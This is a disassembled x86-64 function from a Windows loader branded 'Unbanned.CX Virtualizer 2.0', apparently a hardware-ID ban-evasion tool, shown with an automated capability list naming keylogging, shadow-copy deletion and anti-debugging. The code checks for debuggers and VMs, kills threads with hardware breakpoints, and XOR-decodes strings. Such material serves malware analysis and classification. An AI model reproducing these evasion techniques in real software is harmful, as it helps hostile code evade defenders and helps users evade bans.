Function at 0x140039768
Capabilities:
Check for debugger via api
Check for time delay via gettickcount
Create thread
Delete volume shadow copies
Encode data using xor
Enumerate gui resources
Enumerate threads
Execute command
Get hostname
Log keystrokes via application hook
Resume thread
Suspend thread
Terminate process
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x798]
sub rsp, 0x870
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm12
mov rax, qword [0x14012f0c0]
xor rax, rsp
mov qword [rbp + 0x700], rax
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
xor r14d, r14d
test eax, eax
jne 0x1400397ee
lea r9d, [r14 + 0x10]
xor ecx, ecx
lea r8, str.Administrator_Privileges_Required
lea rdx, str.Open_loader_as_ADMINISTRATOR.
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r14 + 1]
jmp 0x140039e3d
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
mov r15d, 1
cmp rax, 0xffffffffffffffff
je 0x140039e3a
mov rbx, r14
lea rsi, str.___Bootstrapping._Initializing_a_few_things__please_be_patient.__n
or rcx, 0xffffffffffffffff
inc rcx
cmp byte [rsi + rcx], r14b
jne 0x140039820
test rcx, rcx
je 0x14003986a
mov al, byte [rbx + rsi]
lea r9, [rbp + 0x1c0]
mov r8d, r15d
mov byte [rbp + 0x144], al
lea rdx, [rbp + 0x144]
mov qword [rsp + 0x20], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, r15
cmp rbx, 0x42
jb 0x14003982e
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, 0x1388
jmp 0x140039890
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, edi
jb 0x14003987f
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [rbp + 0x140], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 0x140], r14d
je 0x1400398ef
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Debugger_attached__Terminating_the_application.
call fcn.14003d184
lea rdx, [0x14003d2f4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140039926
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Debugger_detected__Terminating_the_application.
call fcn.14003d184
lea rdx, [0x14003d2f4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400378fc
call fcn.140037abc
call fcn.140039190
call fcn.14003909c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov esi, eax
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xd0]
mov dword [rbp + 0xd0], Ordinal_35
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
cmp dword [rbp + 0xdc], esi
jne 0x1400399f7
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r8d, dword [rbp + 0xd8]
cmp r8d, eax
je 0x1400399f7
xor edx, edx
lea ecx, [rdx + 0xa]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rbp + 0x230]
mov dword [rbp + 0x260], 0x100010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, r14
cmp qword [rbp + rax*8 + 0x278], r14
jne 0x1400399d1
add rax, r15
cmp rax, 4
jl 0x1400399bc
jmp 0x1400399e5
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0xd0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x14003996a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140039a33
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x140], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [rbp + 0x140], r14d
je 0x140039a62
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.14003897c
mov r12d, r14d
lea rbx, reloc.WS2_32.dll_accept
test dword [rbx - 4], 0xfffffffd
mov eax, dword [rbx + 4]
mov ecx, dword [rbx]
mov dword [rbp + 0x1c0], eax
mov al, r14b
mov dword [rbp + 0x140], ecx
jne 0x140039b39
mov r13b, r14b
lea rdi, [0x140147478]
mov rsi, r14
lea rdx, str.ntdll.dll
test rsi, rsi
je 0x140039ac2
cmp dword [rdi - 8], ecx
jne 0x140039ac2
mov r13b, r15b
call qword [rdi]
mov ecx, dword [rbp + 0x140]
lea rdx, str.ntdll.dll
add rsi, r15
add rdi, 0x10
cmp rdi, rdx
jl 0x140039aa6
test r13b, r13b
jne 0x140039adc
lea rcx, str.ERROR:_Minimum_version_value_was_invalid._n
jmp 0x140039b31
test al, al
je 0x140039b36
mov r13d, dword [rbp + 0x1c0]
test r13d, r13d
jne 0x140039af1
mov al, r15b
jmp 0x140039b39
mov sil, r14b
lea rdi, [0x140147478]
mov al, r14b
lea rcx, str.ntdll.dll
cmp dword [rdi - 8], r13d
jne 0x140039b1c
mov sil, r15b
call qword [rdi]
test al, al
lea rcx, str.ntdll.dll
sete al
add rdi, 0x10
cmp rdi, rcx
jl 0x140039b05
test sil, sil
jne 0x140039b39
lea rcx, str.ERROR:_Removed_version_value_was_invalid._n
call fcn.14003ed18
mov al, r14b
mov rcx, qword [rbx - 0x14]
mov byte [rbx + 9], al
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140039b51
mov byte [rbx + 8], r14b
jmp 0x140039b6b
mov rdx, qword [rbx - 0xc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
mov qword [rbx + 0xc], rax
setne al
mov byte [rbx + 8], al
add r12d, r15d
add rbx, 0x30
cmp r12d, 0x1f
jb 0x140039a71
lea rcx, [0x1401489a0]
call fcn.14004aea0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call fcn.140037abc
call fcn.1400378fc
call fcn.1400376c4
call fcn.140037440
call fcn.140039418
test al, al
je 0x140039bd7
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.This_application_is_not_allowed_to_run_on_virtual_machines._Exiting...
call fcn.14003d184
lea rdx, [0x14003d2f4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 8
call fcn.1400a1ce4
lea rcx, [0x140038188]
mov r9, rax
lea r8, [0x14003e6ac]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14003c368
cmp dword [rsp + 0x78], r14d
je 0x14003c35e
movaps xmm0, xmmword [rsp + 0x70]
lea rcx, [rbp + 0x1d0]
movdqa xmmword [rbp + 0x1d0], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003c35e
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14003c326
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14003c326
cmp byte [0x140148bb0], r14b
jne 0x140039d0b
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x70]
call fcn.14003c380
mov r9, rax
cmp byte [rax + 0xa], r14b
je 0x140039cdf
mov r8, rax
mov r12d, 0x29e4129f
mov r13b, 0x33
mov eax, r12d
mul r14d
mov eax, r14d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul edx, eax, 0x37
mov al, r14b
add r14d, r15d
sub al, dl
add al, r13b
xor byte [r8], al
add r8, r15
cmp r14d, 0xb
jl 0x140039cb0
mov rdx, r9
call fcn.14003d184
lea rdx, [0x14003d2f4]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x1401489a0]
call fcn.140047be0
test al, al
je 0x140039d22
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
lea rax, [0x14003c3d0]
mov dword [rbp + 0xf0], 0x50
xor ecx, ecx
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0xf4], 0x40
mov qword [rbp + 0x100], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x138], r14
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0xf0]
lea rax, [0x14011f7e8]
movdqa xmmword [rbp + 0x110], xmm0
xorps xmm1, xmm1
mov qword [rbp + 0x130], rax
movdqa xmmword [rbp + 0x120], xmm1
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rax, qword [rbp + 0x108]
lea r8, str.Elusive.ac
mov rdx, qword [rbp + 0x130]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r14
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov eax, 5
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x140148968], rax
call fcn.140036c2c
test al, al
jne 0x140039e8b
mov rcx, qword [0x140148958]
test rcx, rcx
je 0x140039e0d
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140148958], r14
mov rcx, qword [0x140148970]
test rcx, rcx
je 0x140039e26
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x140148970], r14
mov rdx, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x130]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r15d
mov rcx, qword [rbp + 0x700]
xor rcx, rsp
call fcn.1400a1580
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm12, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [0x140148968]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140148968]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x140148900]
test rax, rax
je 0x140039eba
add dword [rax + 0x3b0], r15d
mov ecx, 0x3e48
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
test rax, rax
je 0x140039ed6
xor edx, edx
mov rcx, rax
call fcn.1400017e8
jmp 0x140039ed9
mov rax, r14
cmp qword [0x140148900], r14
jne 0x140039ee9
mov qword [0x140148900], rax
mov rcx, rax
call fcn.1400070c0
mov rdi, qword [0x140148900]
lea rbx, [0x1400f8ee0]
and dword [rbp + 0x244], r14d
xorps xmm0, xmm0
and dword [rbp + 0x270], r14d
xorps xmm8, xmm8
and dword [rbp + 0x44], r14d
xor eax, eax
and dword [rbp + 0x70], r14d
mov ecx, 0xffff
movss xmm3, dword [0x14012135c]
mov r12d, 0x400
or dword [rdi + 8], r12d
mov esi, 0x225bc
movss xmm12, dword [0x140121304]
mov r8d, esi
unpcklps xmm0, xmm8
mov rdx, rbx
movsd qword [rbp + 0x254], xmm0
xorps xmm0, xmm0
unpcklps xmm0, xmm8
movsd qword [rbp + 0x25c], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x286], xmm0
mov qword [rbp + 0x2a6], rax
mov eax, 3
movups xmmword [rbp + 0x296], xmm0
mov dword [rbp + 0x248], eax
unpcklps xmm0, xmm8
movsd qword [rbp + 0x54], xmm0
xorps xmm0, xmm0
mov dword [rbp + 0x24c], eax
mov dword [rbp + 0x48], eax
xor eax, eax
unpcklps xmm0, xmm8
movsd qword [rbp + 0x5c], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0xa6], rax
lea rax, [rbp + 0x30]
mov word [rbp + 0x284], cx
mov word [rbp + 0x84], cx
mov rcx, qword [rdi + 0xa8]
mov qword [rsp + 0x28], r14
movups xmmword [rbp + 0x86], xmm0
mov qword [rsp + 0x60], rdi
movups xmmword [rbp + 0x96], xmm0
mov qword [rbp + 0x230], r14
mov dword [rbp + 0x238], r14d
mov byte [rbp + 0x23c], r15b
mov dword [rbp + 0x240], r14d
mov qword [rbp + 0x268], r14
mov dword [rbp + 0x274], 0x7f7fffff
mov dword [rbp + 0x27c], r14d
mov dword [rbp + 0x280], 0x3f800000
mov qword [rbp + 0x2b0], r14
mov qword [rdi + 0x20], r14
mov qword [rdi + 0x28], r14
mov byte [rbp + 0x278], r15b
mov byte [rbp + 0x250], r15b
mov qword [rbp + 0x30], r14
mov dword [rbp + 0x38], r14d
mov dword [rbp + 0x40], r14d
mov dword [rbp + 0x4c], r15d
mov byte [rbp + 0x50], r14b
mov qword [rbp + 0x68], r14
mov dword [rbp + 0x74], 0x7f7fffff
mov byte [rbp + 0x78], r14b
mov dword [rbp + 0x7c], r14d
mov dword [rbp + 0x80], 0x3f800000
mov qword [rbp + 0xb0], r14
mov byte [rbp + 0x3c], r14b
mov qword [rsp + 0x20], rax
call fcn.1400264a4
movss xmm3, dword [0x140121364]
mov r8d, esi
mov qword [0x140148988], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
mov rcx, qword [rdi + 0xa8]
mov rdx, rbx
call fcn.1400264a4
movss xmm3, dword [0x14012136c]
mov r8d, esi
mov rcx, qword [rdi + 0xa8]
mov rdx, rbx
mov qword [0x140148980], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call fcn.1400264a4
movss xmm3, dword [0x140121398]
lea rax, [rbp + 0x30]
mov rcx, qword [rdi + 0xa8]
lea rdx, [0x1400b8240]
mov qword [rsp + 0x28], r14
mov r8d, esi
mov qword [rsp + 0x20], rax
call fcn.1400264a4
movss xmm3, dword [0x140121384]
lea rdx, [0x1400b8240]
mov rcx, qword [rdi + 0xa8]
mov r8d, esi
mov qword [0x140148978], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call fcn.1400264a4
movss xmm3, dword [0x140121374]
lea rax, [0x140120924]
mov rcx, qword [rdi + 0xa8]
lea rdx, [0x1400da840]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x230]
mov qword [rsp + 0x20], rax
call fcn.140026638
mov rcx, qword [rdi + 0xa8]
call fcn.1400261e0
mov rax, qword [0x140148900]
test dword [rdi + 8], r12d
je 0x14003a19d
mov dword [rax + 0x164c], r14d
mov dword [rax + 0x1728], 0x3f800000
call fcn.14002b3e4
mov rcx, qword [0x140148958]
lea rax, str.imgui_impl_dx9
mov rbx, qword [0x140148900]
mov qword [0x140148ce0], rcx
or dword [rbx + 0xc], 0x1008
mov qword [rbx + 0xe8], rax
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], r12d
je 0x14003a225
mov rax, qword [0x140148900]
lea rcx, [fcn.14002b0f0]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.14002b1c4]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x14002b228]
mov qword [rax + 0x1600], rcx
lea rcx, [0x14002b278]
mov qword [rax + 0x1608], rcx
lea rcx, [0x14002b3b8]
mov qword [rax + 0x1610], rcx
movss xmm9, dword [0x1401213f8]
xorps xmm0, xmm0
movss xmm10, dword [0x1401212c4]
mov r12d, 0x29e4129f
movups xmmword [rbp + 0x1e8], xmm0
mov r13b, 0x33
movups xmmword [rbp + 0x1f8], xmm0
movups xmmword [rbp + 0x208], xmm0
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x1e8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14003a295
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14003c23d
cmp qword [0x140148cd0], r14
jne 0x14003a2a3
call fcn.14002afb0
call fcn.14002ba90
call fcn.1400061f4
cmp dword [reloc.WS2_32.dll_accept], r15d
jne 0x14003a7c3
mov rax, qword [0x140148900]
lea rcx, str.Elusive
movaps xmm0, xmmword [0x1401214c0]
xor edx, edx
movaps xmm1, xmmword [0x1401214d0]
mov dword [rax + 0x1654], 0x44070000
mov dword [rax + 0x1658], 0x44020000
lea r8d, [rdx + 3]
mov dword [rax + 0x1650], 0x40a00000
mov dword [rax + 0x1668], r14d
mov dword [rax + 0x1680], 0x40a00000
mov dword [rax + 0x16ac], r14d
mov dword [rax + 0x16b4], r14d
mov dword [rax + 0x1670], r14d
mov dword [rax + 0x164c], r14d
movdqu xmmword [rax + 0x171c], xmm0
movaps xmm0, xmmword [0x1401214e0]
movdqu xmmword [rax + 0x176c], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140121520]
movdqu xmmword [rax + 0x178c], xmm0
movdqu xmmword [rax + 0x177c], xmm0
movaps xmm0, xmmword [0x140121500]
movdqu xmmword [rax + 0x186c], xmm1
xorps xmm1, xmm1
movdqu xmmword [rax + 0x184c], xmm0
movaps xmm0, xmmword [0x140121530]
movdqu xmmword [rax + 0x174c], xmm1
movaps xmm1, xmmword [0x140121510]
movdqu xmmword [rax + 0x185c], xmm0
movdqu xmmword [rax + 0x18ac], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140121490]
movdqu xmmword [rax + 0x18dc], xmm1
movdqu xmmword [rax + 0x18fc], xmm1
movdqu xmmword [rax + 0x18ec], xmm1
movaps xmm1, xmmword [0x1401214f0]
movdqu xmmword [rax + 0x172c], xmm0
movaps xmm0, xmm1
movaps xmm0, xmmword [0x1401214e0]
movdqu xmmword [rax + 0x17dc], xmm1
movdqu xmmword [rax + 0x17ec], xmm1
movdqu xmmword [rax + 0x180c], xmm1
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140121550]
movdqu xmmword [rax + 0x181c], xmm1
movdqu xmmword [rax + 0x187c], xmm0
movdqu xmmword [rax + 0x189c], xmm0
movdqu xmmword [rax + 0x188c], xmm0
call fcn.14000b8fc
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, 0x320
mov ecx, r15d
cdq
sub eax, edx
sar eax, 1
movd xmm6, eax
cvtdq2ps xmm6, xmm6
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r8, qword [0x140148900]
sub eax, 0x258
cdq
sub eax, edx
sar eax, 1
or dword [r8 + 0x1c40], 3
movss dword [r8 + 0x1c54], xmm6
mov qword [r8 + 0x1c5c], r14
mov dword [r8 + 0x1c44], 2
mov byte [r8 + 0x1c7c], r15b
mov dword [r8 + 0x1c64], 0x44480000
mov dword [r8 + 0x1c68], 0x44160000
mov dword [r8 + 0x1c48], 2
movd xmm0, eax
mov rax, qword [r8 + 0x1b90]
cvtdq2ps xmm0, xmm0
movss dword [r8 + 0x1c58], xmm0
movss xmm3, dword [rax + 0x48]
movss xmm4, dword [rax + 0x4c]
movaps xmm0, xmmword [0x1401214b0]
mov byte [rax + 0xc1], r15b
movups xmmword [rbp + 0x148], xmm0
lea rcx, [rbp + 0x148]
movaps xmm2, xmm4
movss dword [rbp - 0x50], xmm3
addss xmm2, dword [0x1401213c8]
addss xmm4, dword [0x140121380]
movaps xmm0, xmm3
movaps xmm1, xmm3
addss xmm0, dword [0x1401213bc]
subss xmm1, dword [0x1401213bc]
movss dword [rbp - 0x5c], xmm2
movss dword [rbp - 0x54], xmm2
movss dword [rbp - 0x4c], xmm4
movss dword [rbp - 0x58], xmm0
movss dword [rbp - 0x60], xmm1
call fcn.140003040
mov rcx, qword [r8 + 0x1b90]
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x58]
mov dword [rsp + 0x20], eax
lea rdx, [rbp - 0x50]
mov rcx, qword [rcx + 0x318]
call fcn.14002536c
xor r9d, r9d
movss dword [rsp + 0x20], xmm9
xor r8d, r8d
lea rdx, str.unbannned.cx
lea rcx, [rbp + 0xc0]
call fcn.140008a90
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x44], 0x41f00000
movss xmm0, dword [rax]
addss xmm0, dword [0x14012138c]
mulss xmm0, xmm10
movss dword [rbp - 0x48], xmm0
call fcn.14000e9ac
mov rcx, qword [0x140148978]
call fcn.14000e230
movaps xmm0, xmmword [0x140121540]
lea rdx, str.unbanned.cx
lea rcx, [rbp + 0x148]
movups xmmword [rbp + 0x148], xmm0
call fcn.14002d444
call fcn.14000e2c8
xor r9d, r9d
movss dword [rsp + 0x20], xmm9
xor r8d, r8d
lea rdx, str.Permanent_HWID_virtualizer
lea rcx, [rbp + 0xc8]
call fcn.140008a90
lea rcx, [rbp - 0x40]
mov dword [rbp - 0x3c], 0x42f00000
movss xmm0, dword [rax]
addss xmm0, dword [0x1401213c0]
mulss xmm0, xmm10
movss dword [rbp - 0x40], xmm0
call fcn.14000e9ac
mov rcx, qword [0x140148988]
call fcn.14000e230
lea rcx, str.Permanent_HWID_virtualizer
call fcn.14002d3b0
call fcn.14000e2c8
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x38], 0x42c80000
mov dword [rbp - 0x34], 0x435c0000
call fcn.14000e9ac
mov rcx, qword [0x140148980]
call fcn.14000e230
lea rcx, str.License_Key:
call fcn.14002d3b0
call fcn.14000e2c8
movss xmm0, dword [0x1401213b8]
call fcn.14000ea24
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x30], 0x43340000
mov dword [rbp - 0x2c], 0x435c0000
call fcn.14000e9ac
lea rdx, [rbp + 0x230]
call fcn.14002f81c
mov rcx, qword [0x140148980]
call fcn.14000e230
call fcn.14000e2c8
call fcn.14000eac0
lea rcx, [rbp - 0x28]
mov dword [rbp - 0x28], 0x43340000
mov dword [rbp - 0x24], 0x43b40000
call fcn.14000e9ac
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x20], 0x43480000
lea rcx, str.Login_Now
mov dword [rbp - 0x1c], 0x42200000
call fcn.14002da34
test al, al
je 0x14003c02b
xorps xmm0, xmm0
mov qword [rbp + 0x180], r14
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x188], r14
lea rax, [rbp + 0x230]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r14b
jne 0x14003a6f9
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x170]
call fcn.140037e7c
lea rsi, [0x1401489a0]
mov rcx, rsi
lea rdx, [rbp + 0x170]
call fcn.14004c770
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x230]
call fcn.14003d184
cmp byte [0x140148bb0], r14b
je 0x14003c32d
cmp qword [0x140148bd0], 0xf
lea rdx, [0x140148bb8]
lea r8, str.Success
cmova rdx, qword [0x140148bb8]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
mov qword [rbp + 0x180], r14
mov r8d, 9
mov qword [rbp + 0x188], r14
lea rdx, str.Logged_In
lea rcx, [rbp + 0x170]
movups xmmword [rbp + 0x170], xmm0
call fcn.140037e7c
lea rdx, [rbp + 0x170]
mov rcx, rsi
call fcn.14004dcb0
mov dword [reloc.WS2_32.dll_accept], 2
jmp 0x14003c02b
xor edx, edx
lea rcx, str.unbanned.cx
lea r8d, [rdx + 3]
call fcn.14000b8fc
mov rax, qword [0x140148900]
mov edx, 4
mov rcx, qword [rax + 0x1b90]
mov rax, qword gs:[0x58]
movss xmm7, dword [rcx + 0x50]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140148d90], eax
jle 0x14003a831
lea rcx, [0x140148d90]
call fcn.1400a1790
cmp dword [0x140148d90], 0xffffffff
jne 0x14003a831
lea rcx, [0x140148d88]
call fcn.140036b68
lea rcx, [0x140148d90]
call fcn.1400a1724
lea rcx, [rbp + 0x18]
call fcn.140036b68
mov rax, qword [rbp + 0x18]
lea rdx, str.Unbanned.CX_Virtualizer_2.0
sub rax, qword [0x140148d88]
lea rcx, [rsp + 0x70]
xorps xmm6, xmm6
movss dword [rsp + 0x20], xmm9
xor r9d, r9d
xor r8d, r8d
cvtsi2ss xmm6, rax
divss xmm6, dword [0x1401213e8]
call fcn.140008a90
mov dword [rbp - 0x14], 0x41200000
lea rcx, [rbp - 0x18]
movaps xmm1, xmm7
subss xmm1, dword [rax]
mulss xmm1, xmm10
movss dword [rbp - 0x18], xmm1
call fcn.14000e9ac
movaps xmm0, xmm6
mov dword [rbp + 8], 0x3f800000
mov dword [rbp + 0xc], 0x3f800000
mov dword [rbp + 0x10], 0x3f800000
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
andps xmm0, xmmword [0x140121570]
lea rdx, str.Unbanned.CX_Virtualizer_2.0
lea rcx, [rbp + 8]
movss dword [rbp + 0x14], xmm0
call fcn.14002d444
subss xmm7, dword [0x1401213c8]
lea rcx, [rbp - 0x10]
mov dword [rbp - 0xc], 0x42700000
mulss xmm7, xmm10
movss dword [rbp - 0x10], xmm7
call fcn.14000e9ac
lea rdx, [rbp - 8]
mov dword [rbp - 8], 0x43c80000
lea rcx, str.Permanent_Virtualization
mov dword [rbp - 4], 0x42c80000
call fcn.14002da34
test al, al
je 0x14003be83
mov qword [rsp + 0x28], r14
lea r8, [0x14003867c]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
movups xmm0, xmmword [str.GUF_QUVe]
mov eax, dword [0x140120e50]
lea r9, [rbp + 0x148]
mov dword [rbp + 0x160], eax
mov r8d, r14d
